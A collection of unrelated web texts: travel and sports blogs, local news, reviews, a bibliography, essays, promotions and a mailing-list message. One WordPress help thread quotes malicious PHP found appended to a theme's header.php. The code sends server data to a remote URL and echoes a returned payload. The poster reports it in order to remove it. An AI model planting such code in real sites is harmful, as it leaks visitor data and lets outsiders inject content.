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When I was young I read a tea towel that went like this:
You have two sides, one out in the field and one in. Each man that's in the side that's in goes out, and when he's out he comes in and the next man goes in until he's out. When they are all out, the side that's out comes in and the side that's been in goes out and tries to get those coming in, out... (from Cricket explained)
I've always said I'd rather watch paint dry than cricket. But that was before I came to Brisbane, home of The Gabba (Brisbane Cricket Ground).
If you're a sports fan, there are certain stadiums that you would never pass up the opportunity to visit, especially to watch a prestigious event in the sporting calendar. I'm talking about Old Trafford, Bernabéu, The Oval, Croke Park, Emirates, Wembley, Murrayfield, Azteca, Ibrox, San Siro, Cardiff Arms Park, Stade de France, Camp Nou, San Mamés (my friend supports Athletic Bilbao), Maracanã, MCG...
In recent years, as the England cricket team has progressed from hapless to winning, I have been more entertained by The Ashes. We were therefore never going to pass up the chance to see the first of the 2010-11 Series in our new home town.
Since we've been living in south Brisbane, The Gabba's floodlights have become the landmark when trying to find our way home (Audi sat-nav is beyond budget). The ground also happens to be almost right next to Dan Murphy's (he of the lowest liquor prices possible in otherwise vastly overpriced wine country).
Off we went to the second day of the first Test. On day 1, England had won the toss, were all out for 260, and Australia were 25 for 0. It rained as we got into the taxi to take us to the Norman Hotel for breakfast. I was not confident. (And I was not happy: we were charged a 10 per cent surcharge to pay the taxi fare by card. TEN per cent. Oh land of rip-off middle men.)
'Brisbane's Worst Vegetarian Restaurant' is a bit of an institution. On Ipswich Road in Woolloongabba, it was completed in 1889 in the popular architectural style of the day. Named after Queensland's newly appointed Governor at the time, Sir Henry Norman, it has known several incarnations - including working men's pub, bikers' hangout and now muster station for yellow-clad Aussie Gabba-goers. There were droves of them. They were... not cocky exactly... but more than quietly confident. Some were not content merely with bright 'Cricket Day 2010' T-shirt and Southern Crossed sombrero but also had to drape themselves in the Australian flag – the Union flag draped over one shoulder, of course.
The Gabba seats 42,000. We were on the front row. In the next section of the stand was a battalion of the Barmy Army, who were in fine voice, much to the annoyance of the Aussie fans, until they'd drunk enough XXXX. (I've noticed at other games I've been to – rugby at the Suncorp Stadium, for instance – as well as at this one, that Australians spend just as much time socialising with their mates as watching what's going on on the pitch. Perhaps that's why the English chants irritated them.)
The first wicket of the day didn't fall until the Aussies were on 78, when Watson was caught by Strauss. After lunch, only the second ball of the session saw the Aussie captain Ponting go for 10, closely followed by Katich. 100 for 3: progress – and excitement. Soon, two more wickets saw Australia 143 for 5, which gave England an oh-so-faint hope of a first innings lead. But things slowed down considerably thereafter as Hussey and Haddin bedded in for what turned out to be an enduring partnership on day 3*.
Bad light (shortly followed by rain) ended the day's play prematurely with the Aussies on 220 for 5. We made our way home with a feeling that all was not lost. I'd learned about slips and gullies and nightwatchmen and shoulder arms, and I could nod sagely in agreement with comments such as, 'Ooh, he's bouncing Ponting (who's yet to get off the mark)'.
But – and there is a big but about this Cricket Day 2010 – the irony was not lost on me that The Gabba is the winter home of Aussie rules 'football'. There are certainly more rules at The Gabba than you can shake a cricket bat at. As you queue to get into the stadium, you are faced with this sign:
No bags? What? No bags at all? You're about to spend up to eight hours, possibly in baking hot sun, or rain. Where do you put your sunscreen, water, camera, binoculars, hat, mac? In a plastic see-through bag, apparently (I balk at the memory of all that palaver at airport security). In fact, you can take a backpack in as long as it's only got one zip. How many backpacks have only one zip? And no open plastic bottles? Presumably because you might have added alcohol; but you can take in unopened ones, which is the opposite of the case in Europe, where they're considered to be potential missiles if their tops are firmly secured.
And no umbrellas – now for all the items not on the list – although one lady told us that yesterday she was allowed to take in the umbrella that had just been refused entry. No trumpets (well, no musical instruments of any description, in fact). No cricket balls; or bats, obviously. No baseball caps with certain logos on them. So, despite the length of some lists of rules in this country, they are not exhaustive (see also, Driving me crazy, December 2010). Perhaps you're expected to visit the websites of The Gabba and Cricket Australia to check out their extensive terms and conditions of entry beforehand, but that never occurred to me.
So back we went to the cloakroom, where we had to queue again and fill in forms and sign in blood and generally get very irritated at the lack of an answer to the question, 'What's the problem with zips?'.** Of course, officials here aren't used to being questioned. Most Australians would no more ask, 'Why not' when faced with a ridiculous rule than deliberately swim with Irukandji. Then once more through security, where things moved a little more laxly because by this time it was close to the start of play and some people were pretty annoyed.
As the day wore on, large quantities of XXXX were consumed, and people became even more jovial – except the police, who became much more in evidence. An unsmiling Queensland policewoman made her bulky presence next to where I was sitting: it was intimidating. She sternly warned boisterous young men against writing rude words or drawing rude bits on their mates' T-shirts or bodies, or else they'd have to leave the ground. At the merest whiff of increased movement or noise on the terraces, police would appear, doubtless directed from their control room up by the commentary boxes.
Everything you consume within The Gabba you have to purchase in The Gabba, of course. I was unable to find a water fountain, and small bottles of water cost $4.60 (£2.88 at time of writing). Some stands were 'licenced', others were not. And just in case, as you consumed more, you forgot where you were...
* Hussey and Haddin's partnership produced 307 on day 3, a record for the Aussies at The Gabba. They were all out for 481, giving them a first innings lead of 221. England began their second innings slowly and steadily right at the end of the day. Further impressive partnerships on days 4 and 5, first by Strauss and Cook and then by Cook and Trott, meant England gradually whittled away at their deficit and built up their tally of runs, declaring at 517 for 1 after tea on the final day. The Aussies made 107 for 1 before the captains agreed that the match was a draw. Alistair Cook was Man of the Match, his 235 not out his highest Test score.
** The answer is, so that security people won't have to undo lots of compartments when checking bags on entry.


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RADFORD – Radford's Logan Graham claimed her third regional title in three days as she led Radford to a sweep of Galax to take the Region 1A West girls' tennis title on Wednesday morning.
Radford did not lose a set on the day as they swept the Maroon Tide 5-0 in the championship matches at Radford University.
RINER –– Abby Wilson's one-out double in the bottom of the first produced the game's only run as Galax fell to Auburn 1-0 in the Region 1A West softball semifinals Monday.
The loss ends Galax's season at 15-7 while the Eagles advance to the region semifinals today (Wednesday) against Patrick Henry-Glade Spring.
With one out in the bottom of the first, Jaylin Shepherd drew a walk and stole second, from where she scored on Wilson's lined double to center.
Grayson County's boys and girls' teams, Galax's boys team and the Maroon Tide's girls' doubles all advanced as region tennis tournaments continued Monday.
In the 2A West quarterfinals, the Galax boys took down Narrows 5-1 at Felts Park while the Blue Devils eliminated Glenvar 5-1 in Independence.
The Galax Maroon Tide was one out away from an impressive victory over Chilhowie Wednesday when disaster struck.
Chilhowie, trailing 3-2, pushed across three runs in the top of the seventh to chalk up the 5-3 nondistrict victory in a Conference 46 softball game at Mountain View Park.
Hayden Cassell put the Maroon Tide on top 3-2 in the bottom of the fifth inning when she crunched a two-run home run over the leftfield fence to score Ally Bartlett, who had beat out a single with two outs.
MAX MEADOWS –– Undefeated against the rest of its schedule, Fort Chiswell fell for the second time this season to Grayson County, which jumped out to a big early lead and cruised to a 14-5 win in a Mountain Empire District game Wednesday.
Leading 1-0 with the bases loaded in the top of the first, a Garrett Moore RBI single plated one Grayson run and two more crossed on an error on the play by the Pioneers (17-2).
HILLSVILLE –– If the best things in life are worth working for, then Carroll County probably didn't mind putting in a little overtime to maintain that zero on the right-hand column of its won-lost record.
It took 10 innings for them to do it, but the Cavaliers twice rallied from behind before finally subduing Blacksburg 4-3 in a River Ridge District gem Tuesday night. Carroll County improved to 16-0 on the year with a nondistrict double header at home today (Friday) against Tazewell.
WARDELL –– While it is possible to win ugly, there's no such thing as an ugly win.
Grayson County put an exclamation point on a solid finish to its regular season by outscoring Richlands 19-10 Thursday in a less-than-tidy Conference 39 baseball game at Southwest Virginia Community College. The win sends the fourth-seeded Blue Devils (11-6) into the conference tournament riding a six-game winning streak, including victories over two of the three teams seeded above them.
HILLSVILLE –– Sydney and Samuel Haynes didn't let the fact that they are twins sway their thinking when it came to making a college choice. Prepared to go their separate ways post-high school, the two nonetheless will end up together at Concord University, and that decision will pay off in at least one way.
"We can have just one car and not have to spend a lot of money on gas," Sydney Haynes said with a smile. "And I'll know someone."
Galax's boys will be represented in regionals, two Grayson County boys and two Grayson girls have earned a spot, and Galax's girls have picked up a regional win before completion of conference play as a busy tennis postseason got under way last week in Galax and Independence.
Noah Hutchens of Galax won the Conference 39/46 singles championship and teamed up with Gage Cooke to claim the conference doubles title in play at Grayson County High School.
INDEPENDENCE –– Dez Choate clubbed a grand slam and amassed six RBIs Tuesday as Grayson County rolled over Narrows 14-2 in a five-inning MED softball game at the Grayson Rec. Park.
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Raise your hand if you're hip to the mysterious space portal that's situated somewhere in La Colonia district of Oxnard. Didn't think so, and you're probably not alone. That's because it exists only in the minds of some aspiring filmmakers and on the sci-fi short film they made, called Port Holonia (a merging of Port Hueneme and La Colonia). For $5, you can experience it at the Oxnard Student Digi Film Festival this weekend.
The festival — both a competition and a celebration — provides a showcase for the talent of western Ventura County youth who have found an outlet for expression via digital filmmaking. Entrants include students at the high school and college levels, but many younger kids also participated in the filmmaking process in various capacities.
Though it's been around in different incarnations for the better part of a decade, the festival finally found its footing as a student-centered event through Oxnard College a few years ago. Television production specialist and part-time Oxnard College faculty member Kitty Merrill, has served as festival director for two years and feels strongly about the importance of independent filmmaking in contemporary culture.
"I think there is something exciting about people together in a room, watching a movie on a big screen," she said. There is something powerful about people watching the same thing together."
The Port Holonia project emerged from a little-known but badly needed program based out of the housing authority complex in La Colonia. Barrio Productions, headed up by video production coordinator Julio Alcala, gives kids with seemingly few options an opportunity to find purpose, direction and expression through the creative process.
"Many of them have never had their stories told," said Alcala, who, in addition to teaching the kids how to make short films, also guides them through commercial production for the city of Oxnard.
One example, says Alcala, is a troubled young girl who ran away from home but was able to work through some of her difficulties via the film she made. Together, the other students, under Alcala's direction, wrote a rap song for it. "It became something she was able to express," he said, "so it became a community dialogue." Her film will be shown during the festival.
Earlier this year, when a young boy was killed in Oxnard, Barrio Productions rallied elementary school students to write a song about it. Alcala said they were able to process the raw emotion the kids were experiencing, the tragic elements of everyday life, via art.
The central theme in Port Holonia is that something amazing can exist in what might otherwise appear to be a hopeless situation. Inspired by the Twilight Zone series, students from elementary and junior high schools shot the film in the projects of La Colonia. The idea was that in the location's main "strollaway" a portal exists.
"We took an area that was perceived as negative and made it magical," said Alcala.
Merrill says that even if kids don't plan to pursue filmmaking as a career path, there is much to be learned and applied to other areas of life. "They're learning amazing skills, taking an idea and bringing it to creation, organization," she said.
"The culture of coming home and watching TV at the end of the day is never the same after you make a film."
Like other arts-related non profits, Barrio Productions is nearing the end of its funds and facing an end to its successful run in La Colonia neighborhood. The benefit of creative pursuits to low-income and at-risk youth cannot be overstated.
Alcala would like the program to continue to help these kids who often don't grow up in the best environments for learning, but when given a chance, thrive. "We're trying to show the other aspect of Colonia, not just the gang element," he said.
Merrill agrees. "You can see that it gives them focus and direction, they have a clearer vision of who they are and what they think of the world."
Oxnard Student Digi Film Fest is open to the public Friday and Saturday, Oct. 17-18, 7-9 p.m. Tickets are $5 per evening. A series of workshops will be offered on Saturday to anyone interested in film and video production. The event will be held at Plaza 14 Cinemas in downtown Oxnard, 255 W. Fifth St. For more information visit www.studentdigifilmest.org. To learn more about Barrio Productions, visit www.barrioproductions.wordpress.org.


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Despite its proximity to a rather busy road (check out the guardrail and the sharp turn warning apparatus practically in the front yard), this house sits on the outer edge of a very nice neighborhood with a great location. I figured it was an elderly teardown that was being sacrificed to make way for some hideous McMansion, which is all people seem to want around here these days.
But on a later visit, I noticed something intriguing, so I detoured from my usual route to take a better look. It is possible that they saved what they could and will build around it, and recreate what couldn't be saved? Can it be that they are in love with those beautiful old windows and the soul of this house, just as I would be?
It sure looks that way to me. I think what I see is a new footer going into the ground, and the beginnings of corner pillars that match the corners that are still standing. I wish I knew more about construction!


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I like Scorsese as a director. He's done some great films: Taxi Driver, Goodfellas, The Aviator, Shutter Island, and Hugo were all excellent movies made under his direction. Scorese and Robert De Niro go together like Clint Eastwood and Sondra Locke, John Carpenter and Kurt Russell, or David Lynch and Jack Nance. Put the two of them together and you can get some really good movies... most of the time anyway.
During my short-lived stint in college, I was enrolled in a film studies course that had a frustrating way of working. Every week, our teacher would have a new movie for us to look at, but she only once ever screened a movie in full, and that was in preparation for the exam (we were expected to write a short essay comparing Out of the Past to one of two possible movies, one of which was Breathless; having to watch that film was my first real exposure to Jean-Luc Godard). Instead, she gave us a syllabus that labelled each week, and gave us a movie she expected us to watch on our own time.
Even more irritating was the fact that the majority of the movies on the syllabus were obscure and/or foreign movies. She expected us to somehow, in the period of a week, acquire some obscure movie from the other side of the movie on DVD and watch it. Once in a while we got something a bit more plausible (though I still ended up seeing North By Northwest a week late), but as you can imagine I quickly fell behind.
When I saw Raging Bull on the list, I got excited, since it just so happened I'd obtained a file of that movie, which wasn't the most ethical way of watching it but still allowed me to see it in time. I thought I could finally start catching up and things would get easier.
So what's my problem with the film? Well, for starters there isn't much of a plot to it. Supposedly it's about a boxer who has a bad temper but it took a plot synopsis off IMDB to understand that. The movie really seemed to keep jumping all over the place without ever really developing anything. There were a lot of scenes of Robert De Niro in the boxing ring and occasionally his interactions with other characters. The way it does that is exceptionally jarring, and doesn't really draw you into the world of the story. I also never really found myself connecting with De Niro's protagonist.
If you want a good boxing drama, you'd be better off with something like Million Dollar Baby. That movie actually makes sense and has a point, and deserved the Oscars it won much more than Raging Bull ever did.


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A Natural: Russ Gavitt's Eye for Great Photography
Posted on 14. Nov, 2012 by Davidson Lands Conservancy.
Davidson's own Russ Gavitt has taken some of the best photographs of the beautiful natural areas in and around Davidson, and this past Sunday was no different. Russ led a nature photography hike at our Annual Meeting and Nature Festival at Abersham Park, and while the mid day light doesn't provide the best conditions, Russ […]
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Posted on 11. Nov, 2012 by Davidson Lands Conservancy.
The Davidson Lands Conservancy held its Annual Meeting and 2nd Annual Nature Festival at Abersham Park in Davidson, NC on November 11, 2012. Over 150 people joined us on a beautiful fall day. Three hikes were held: a nature hike led by Reed Patterson of Mecklenburg County, a nature photography hike led by Davidson's Russ […]


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"The Terror of Our Age," Tomdispatch.com, January 26, 2014
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"Don't do what Allende Did," London Review of Books, 34: 14 (July 2012), review of Tanya Harmer's Allende's Chile and the Inter-American Cold War
"500 Years," in War by Other Means: Aftermath in Post-Genocide Guatemala, edited by Carlota McAllister and Diane Nelson, Duke 2013
"What Was Containment? Short and Long Answers from the Americas," The Cold War in the Third World, edited by Robert McMahon, Oxford, 2013
"The Liberal Traditions in the Americas: Rights, Sovereignty, and the Origins of Liberal Multilateralism," American Historical Review, February 2012 117; 1
"Capitalism's Catch 22: Reading William Appleman Williams' Contours of American History at Fifty," introduction to accompany new edition of Williams' Contours of American History, Verso
("There is still—fifty years after its publication—no better critique of America liberalism and the contradictions of the ideology of individualism, no clearer analysis of the specificities of American empire. Greg Grandin's preface is a terrific introduction to Williams' thinking."—Joan Wallach Scott)
"Greater America," in Alfred McCoy, et al, eds., Endless Empires: Spain's Eclipse, Europe's Retreat, and America's Decline, University of Wisconsin Press, 2012
"Empire's Ruins," in Ann L. Stoler, ed.. Imperial Debris, Duke University Press, 2013
"Living in Revolutionary Time," introduction to A Century of Revolution: Insurgent and Counterinsurgent Violence during Latin America's Long Cold War, Grandin and Gilbert M. Joseph, eds, Durham: Duke University Press, 2010
H-Diplo Roundtable on Fordlandia, May 25, 2010
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"The Instruction of Great Catastrophe: Truth Commissions, National History, and State Formation in Argentina, Chile, and Guatemala," American Historical Review, February 2005, 110;1
"Katrina Time" (review of Dave Eggers' Zeitoun), London Review of Books, January 6, 2011
"It was Heaven That they Burned," The Nation, September 27, 2010
"Game Change:" Nine Reasons To Support Strong Immigration Reform, The Nation, August 16, 2010
"Off the Beach: Latin America, The United States, and the Cold War," in A Companion to Post-1945 America, Jean-Christophe Agnew and Roy Rosenzweig, eds.
"History, Motive, Law, Intent Combining Historical and Legal Methods in Understanding Guatemala's 1981-1983 Genocide," in The Specter of Genocide: Mass Murder in Historical Perspective, Ben Kiernan and Robert Gellately, eds.
"The Narcissism of Violent Differences," Anti-Americanism, Andrew Ross and Kristin Ross, eds.
"The Imperial Presidency: The Legacy of Reagan's Central America Policy," in Confronting the New Conservatism: The Rise of the Right in America, Michael Thompson, ed.
"Human Rights and Empire's Embrace: A Latin American Counterpoint," in Human Rights and Revolutions, Jeffrey Wasserstrom, Greg Grandin, Lynn Hunt, Marilyn Young, eds.
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"Body Shocks: A 40th Anniversary Conversation With Naomi Klein," North American Congress on Latin America's Report on the Americas, November/December 2007, Volume 040, Issue 6
"The Right Quagmire: Searching History for an Imperial Alibi," Harper's Magazine, December 2004, pp. 89-93
"Why Stop at Two?" London Review of Books, Vol. 31 No. 20, October 22, 2009, pages 33-35
"On the Torturable and Untorturable," TomDispatch.com
"Losing Latin America," TomDispatch.com
"Fidel Castro, The First Superdelegate," TomDispatch.com
"Among the Ruins of Henry Ford's America," Salon.com
"Still Dancing to Ollie's Tune: Will the Democrats Blow it Again?" TomDispatch.com, reprinted in Los Angeles Times
"The Swift Boating of America," TomDispatch.com
"The Wide War," TomDispatch.com, reprinted in The World According to Tomdispatch: America in the New Age of Empire, Verso 2008
"Milton Friedman and the Economics of Empire," Counterpunch
"Good Christ, Bad Christ," Counterpunch
"The Bloody 'Realism' of Jeane Kirkpatrick: Midwife of the Neocons," Counterpunch


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The fictional character of architect Howard Roark had passion for his creative effort, for his creations. I understand his feelings. My peers in architectural circles laugh at him today, and I don't recommend nor approve of destroying buildings when they are altered by others, but I do understand. I designed a clinic once for a husband and wife doctor partnership. After the plans were completed and we moved to building the project, my client told me that my services were no longer needed; that my oversight was not wanted because they would build it exactly according to the drawings. No amount of my "why I was needed" education was going to help these "smart doctors". It will never happen…"exactly like the plans", I knew better. I was disappointed because I find it thrilling to experience my work as it takes on form and dreams become reality. I asked if I could put my sign out and come on-site from time to time. They were pleasant and happily agreed. One day I saw the roof was of a strange and different design, and then…all these ugly little metal boxes on the roof! Electric ventilating fans! How awful, how unnecessary, how ridiculous! You see, I had designed the roof form to collect prevailing winds and to have natural exhaust; through convection and architectural form I had created natural ventilation requiring neither electricity nor the purchase of a dozen mechanical fans. When I called the doctors to ask them why they altered the building so drastically, they said that their builder had told them the fans were needed. I politely said the fans were not required by the original design, but now they had not only increased the first cost of their building by the installation unnecessary mechanical equipment. Now they had ugly little boxes all over their roof, but that they would also be paying for it every month for the life of the building in their electric bill. The doctors replied, they didn't know; they had believed the contractor. Through my disappointment, I felt sorry for them. Other changes and alterations soon took place and it wasn't long before I took my sign off the building site. I got a call one day, "Haven somebody stole your sign!" I said thank you for your concern but that I had taken my sign off the property. But why would you do that? I heard. Because what was being built was not "my design", I replied; it was not mine so my name should not to be associated with it. She expressed her regrets and I wished them good luck; as I hung up the phone I thought of Howard Roark…no I was not going to dynamite the clinic, but I understood the pain.
This unfortunately happens way too often by "blind owners and contractors" that think they know more about the design of architecture than the professional. To be fair, sadly many architects content with lifeless buildings could care less about producing spirited architecture. I think we should think about the creative effort, individual inventions and achievement. There is a passion and spirit that brings vitality to our cities. The mistakes and failures in our society usually can be boiled down to a collective lack of focus, compromised process, and arrogant altruism. As Howard continues in his testimony and final summary at his trial, he says:
"I destroyed it because I did not choose to let it exist. It was a double monster. In form and in implication. I had to blast both. The form was mutilated by two second-handers [those that use others property] who assumed the right to improve upon that which they had not made and could not equal. They were permitted to do it by the general implication that the altruistic purpose of the building superseded all rights and that I had no claim to stand against it.
I agreed to design Cortlandt for the purpose of seeing it erected as I designed it and for no other reason. That was the price I set for my work. I was not paid." (page 685)13
To care so much for the creation of your effort that you would rather see it destroyed than to exist so altered is rare; I sense that creative integrity and passion for it is escaping from us. Please, I'm not promoting that we destroy our buildings. What I'm trying to suggest is that this creative energy has value to the individual and to the collective; that we should work hard to not have or accept the lifeless trash in the first place. Without passion for goodness, quality, and spirit in our art and architecture; society will grow dead. Don't you already see the deadness in society all around you? I do. You only need to have the eyes to see.
So, on a grander scale, what would drive a creator to destroy his creation? We've been looking at this question from an architecture point of view; now let's look at it from a Biblical point of view. Rather than just one building project, let's look at just that "Fountainhead situation" on a worldwide scale. Moving from fiction to nonfiction, the Book of Genesis tells us in the sixth chapter, verses 5 through 7 (NIV):
"The Lord saw how great man's wickedness on the Earth had become, and that every inclination of the thoughts of his heart was only evil all the time. The Lord was grieved that he had made man on the Earth, and his heart was filled with pain. So the Lord said, 'I will wipe mankind, whom I have created, from the face of the Earth – men and animals, and creatures that move along the ground, and birds of the air – for I am grieved that I have made them."
We will never know the extreme magnitude of the Lord's pain and how He grieved over mankind making the wrong decisions, and the need to destroy His creation. It would have to be like losing part of Himself [we were created in the image of God]. We are the poema [poetry], the grand workmanship of God. Of course, what He destroyed wasn't exactly the way He originally created it. Something happened. In the first chapter of Genesis we see God saying "It is good", after viewing that which He had just created. However the creation He destroyed wasn't good; the creation [we people] had been altered for the worse by our own self-ishness and by our desire to be like God (Genesis 2:5+6). We made our own choice to not obey God; that is the same as putting ourselves above God. This was made possible though the gift of free-will, lovingly granted by God at His great risk. To not grant free-will would have been the same as placing us in prison chains; we would simply be puppets on the end of strings dancing to the whim of the "Master Controller". But God loves us; He is not into control but seeks relationship! We read that one afternoon God was walking in The Garden and called out to Adam, where are you? (Genesis 2:8+9) To walk in The Garden with God…but the people did not have the vision of the Creator, they had their incomplete vision. How could they think they could stand equal to the One that got the whole thing started in the first place? To cover the Earth with water and start again would grieve God to depths we can't possibly understand, but it had to happen for God is in control and still seeks relationship. Maybe we'll learn one day! In His effort to finally reach us, God sent His Son Jesus to show us the way…we need nothing else, but did we change our evil ways?


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Dr. S.I. Hayakawa was a colorful and polarizing figure in California politics in the 1960s and '70s. But an award-winning biography of the noted semanticist traces an unexpectedly complex history before that notoriety enveloped him.
Hayakawa's academic credentials were established early on, says his biographer, Gerland Haslam. But in the 1940s and '50s, Hayakawa's Japanese-American status stood in the way of his career advancement.
Hayakawa instead found a way to build his reputation through non-academic, popular media writings. It was those writings, explains Haslam, that sparked his interest in writing In Thought and Action: The Enigmatic Life of S.I. Hayakawa.
Even after Dr. Hayakawa attained a measure of academic accomplishment, eventually becoming president of San Francisco State University, he retained some deeply held enmity, which Haslam came to see as pivotal in Hayakawa's eventual political about face.
Gerald Haslams's Hayakawa biography, co-written with his wife, Janice, has just won the 2013 Award of Merit from the prestigious American Association for State and Local History.


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Plants Provide Benefits to your Office Space
University of Minnesota Extension, Stearns County News
December 6, 2017
Submitted by: Brenda Postels
Interim Extension Educator-Horticulture
University of Minnesota Extension
Stearns & Benton Counties
Plants Provide Benefits to your Office Space
By Brenda Postels, University of Minnesota Extension
ST. CLOUD, Minn. (12/06/17) — Does your office ever feel stuffy or artificial? Adding some green to your workspace can fix that! Office plants help sharpen your focus, improve your health and purify the air. Having a plant in a room for just one day can remove up to 87% of toxins! The statistics below reveal science-backed benefits of bringing a little bit of nature inside. Creating a healthier (and more appealing) office space is as simple as bringing in the right greenery.
Reduced Stress
Numerous studies have shown that having plants in your office reduces stress levels, even up to 60 percent. Even just the visual benefit of seeing greenery from the plant helps you to feel less stressed, more relaxed and centered. When you're less anxious you're less likely to become angry or irritated at those around you. That's a win all the way around!
Improved Health
There is evidence that plants in the office can reduce sickness and, therefore, absence due to sickness. In a study done in Norway, sickness rates fell by more than 60% in offices with plants. The positive effect of plants on health could be due to the fact that they increase moisture levels in the air. Plants release roughly 97% of the water they take in. Plants have been shown to reduce coughing and dry, dehydrated throats and skin.
Improved Air Quality
Indoor air can be as much as 12 times more polluted than outside air due to compounds in paints, furnishings, clothes and building materials. Plants can make your office a healthier, more enjoyable place to be by improving air quality. They can remove up to 87% of volatile organic compounds (VOCs) and other toxins every 24 hours, according to NASA research. Airborne chemicals, dust, mold and bacteria can all be filtered from the air with plants, helping you and your coworkers breathe easier in your workplace.
Increased Productivity
Not only do plants help you be more relaxed at work, they also can help you be more productive. Studies have shown that simply having plants in an office can increase productivity by 15 percent. Having a plant in your line of sight at work can help you mentally engage with your surroundings and get more done. A study in England found that students demonstrate 70% greater attentiveness when they're taught in rooms containing plants.
Increased Creativity
Plants can help you be more creative in the workplace as well. Having a space that includes visual elements can help encourage your mind to think creatively as well as encourage the expression and sharing of opinions, leading to a more collaborative and creative workplace. Texas A&M University did a study and found that workers who were in a room with two potted plants and a bouquet of flowers generated 13% more ideas than workers in a room with sculptures.
When choosing a plant for your workspace, make sure it's suitable for the area — you don't want a high-maintenance plant, one that grows too quickly or anything that needs a lot of natural light.
The first step to choosing the perfect plant is to determine light levels and space. If your office is windowless or you rely on fluorescent lights, you won't want a plant that requires a lot of sun. You also have to consider how much space you have available for the plant, and how much care you are willing to provide.
For more information on choosing and growing indoor plants for your home or office go to: http://www.extension.umn.edu/garden/yard-garden/houseplants/


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Hautelook is hoppin' right now with some amazing sales! Surya home is live offering some amazing throw pillow (tons of them and they are awesome), blankets & Rugs! I bought two throw pillows for my couch for just $35(reg. $110) and I'm so excited, because my couch is in some serious need of a little personality! There's also plenty of kids boutiques live right now, including Peek…aren't you curious, Sustainable kids organic clothing, French Craft Kids and Feather Baby. There's also plenty more boutiques that are live right now that I'm not mentioning and all are 40-80% off retail prices.
Today Only Bonus: If you spend $50, you'll receive a $10 credit for future shopping at Hautelook!
Hautelook is a private, invitation only shopping site that offers up to 80% off retail of designer brands! You must be invited by a member to shop at Hautelook, so consider yourself invited!
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On Fri, Oct 10, 2008 at 3:29 PM, Marcos Caceres <email@example.com> wrote: > Ok. I will add "Any hierarchical URI scheme" as the proposed solution > into the spec. > > I will say that, personally, I feel it is irresponsible for the > WebApps WG to not recommend a complete and a secure solution for this > issue. I also fear that not mandating a URI scheme will lead to > interoperability issues (especially going forward into V2, where we > might want to support things like queries and fragments, which > something like file: does not support). Well, the questions I asked of you were intended to discover whether or not interoperability was impacted by not specifying a URI scheme. Is there some aspect of this I didn't consider? Can you give me an example of an interoperability (or security, as you say) problem that's created by not specifying a URI scheme? Mark.Received on Friday, 10 October 2008 19:36:24 UTC
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Some users of one of our blogs have detected that when loading the page under Windows with antivirus such as Avast or NOD32 a message appears.
The message is something like
"The remote address has been blocked. URL: "unloadpupil.org/u4offvzxwifsh2q/" IP Address: 126.96.36.199:80
I've tried to find this URL or the IP on my blog's database, but no luck, there is no trace of that URL on our content, so I'm pretty upset something's really going on without us knowing.
Is there someway to find the source of the problem?
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The phpAV file suggested by Mangia is a possible option, but I've installed the WordPress Antivirus Plugin, and it has given me a list of possible files affected by malware. On my site's theme the header.php had at the end of it the following text:
foreach($data as $val){$t[]=$_SERVER[$val];}$u=$counter.'&data='.base64_encode(serialize($t));$fn=file_get_contents($u);
if($fn&&strlen($fn)>4){list($crc,$enc)=explode('::',$fn);if(md5($enc)==$crc){echo $cf($enc);}}
That, according to a previous message on StackExchange, could be malware. I've deleted it and I'm looking for further problems.


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No Naked Chef: Jamie Oliver gets derriere double for 'Village People' TV ad
The Essex-born culinary whiz opted for a derriere double when he filmed a trailer for his new Channel 4 series, Jamie's American Road Trip.
In the clip, Jamie portrays all the different members of Seventies group The Village People, who are striding through an airport. But as the camera follows them walking away, it transpires that the leather-clad biker has the seat of his trousers missing.
Stepping in to save Jamie's blushes was part-time Sheffield actor Steve Clarke, who has appeared in The Full Monty stage show.
"It was a long day, and an all-leather outfit isn't ideal clothing on the hottest day of the year, but it was great fun," said the 36-year-old actor.
"When we did the final 'reveal' shot there were real holiday makers in the airport who must have got an eyeful. My partner Rebecca thinks it's fantastic."
In the new show, which begins on September 1, Jamie sets off across America to discover what the nation eats.
"Many people think American food is just burgers, fries and huge portions, but there's so much more to the country and its food than that," explains the 34-year-old. "I want to get beyond the stereotypes and try the real taste of America."


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The formation of a MISSION Node in Bayawan is seen to level-up what is already in Bayawan and in key Bayawanons – The Character First! Bayawanihan Movement and the installation of the Performance Governance System (PGS) where governance is a shared responsibility.The city envisions Bayawan to become the Agriculture Capital of the province towards a self-reliant community with a sustainable and diversified agricultural economy. One of the key strategy is to strengthen citizenship thru the Bayawanihan Way, which is both a perspective and a way of life.
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The Bayawanihan as a perspective adheres to the seven core values of the city – S.E.C.U.R.E.S. (Spirituality, Excellence, Creativity, Unity, Responsible Citizenship, Environment-Friendly and Self-Reliance). As a Way of Life it gathers various sectors in the community to work together in achieving the city vision and in strengthening the foundational values (core) through the Character First! Bayawanihan Coalition.
The formation of the Node would serve as a channel so that present initiatives in Bayawan be linked with other initiatives in the country as well as inspire others to work together for nation-building or even earth-building or universe transformation. It is aimed also to sustain and ignite dynamism of personal and communal initiatives.
Bayawan initiated partnerships with Dumaguete and Cebu already even during pre-Node existence. We wish to continue this more and expand this direction to include other nodes.


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I don't know about the rest of you, but my small yard is teeming with earwigs. The problem with earwigs is they eat indiscriminately. So, they eat not only plant-eating bugs, but beneficial insects as well, and your plants. They're really just looking out for themselves, but what really bothers me is the way they crawl up my laundry rack, and hide in my underwear waiting to jump out at me when I fold my laundry. It's definitely enough to make me do the squirmy dance, and let's face it, as upset as I may get about them eating my plants, it's not enough to make me make me shriek and squirm on the spot.
So, I happened upon a pretty nifty DIY earwig trap recently. I don't happen to remember where I read this, but I'm passing it on. You take a small plastic container, like a cottage cheese container, and punch several holes in the lid. Into the lid you stir up equal parts soy sauce and oil, any liquified oil like olive oil or canola would be fine. Snap the lid in place, and bury it in the ground up to the lid of the container. The earwigs are attracted to the soy sauce, and crawl in, but because of the oil they can't crawl out. Just dump out the container and refill as necessary.
I haven't tried this yet, myself, but I'm eager to. Let me know how it works, if you happen to try it, or if you have any cool pest traps of your own.


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Friday evening I went out for a meal with friends then, onto a local karaoke. I've not been to a karaoke in at least 4 years, I used to love them so much and could clearly not contain my excitement at finally being let loose on one again. I bagged a total of 5 goes on the karaoke that evening, and doing Shirley Bassey's Hey Big Spender was certainly my most fun one.
Saturday morning I was pretty surprised to be honest to wake up without a sore throat. The Mr. and I popped to the local charity shops where I bagged an entire bolt of suiting material for a mere £10. I'm not entirely sure what I'm going to make from it yet, but possibly a vintage suit or maybe some nice trousers and a waistcoat… who knows, but I couldn't leave a bargain like that behind. I also bought myself some lovely orange leather gloves, which made the pain of losing my gorgeous purple suede ones earlier in the year slightly less painful.
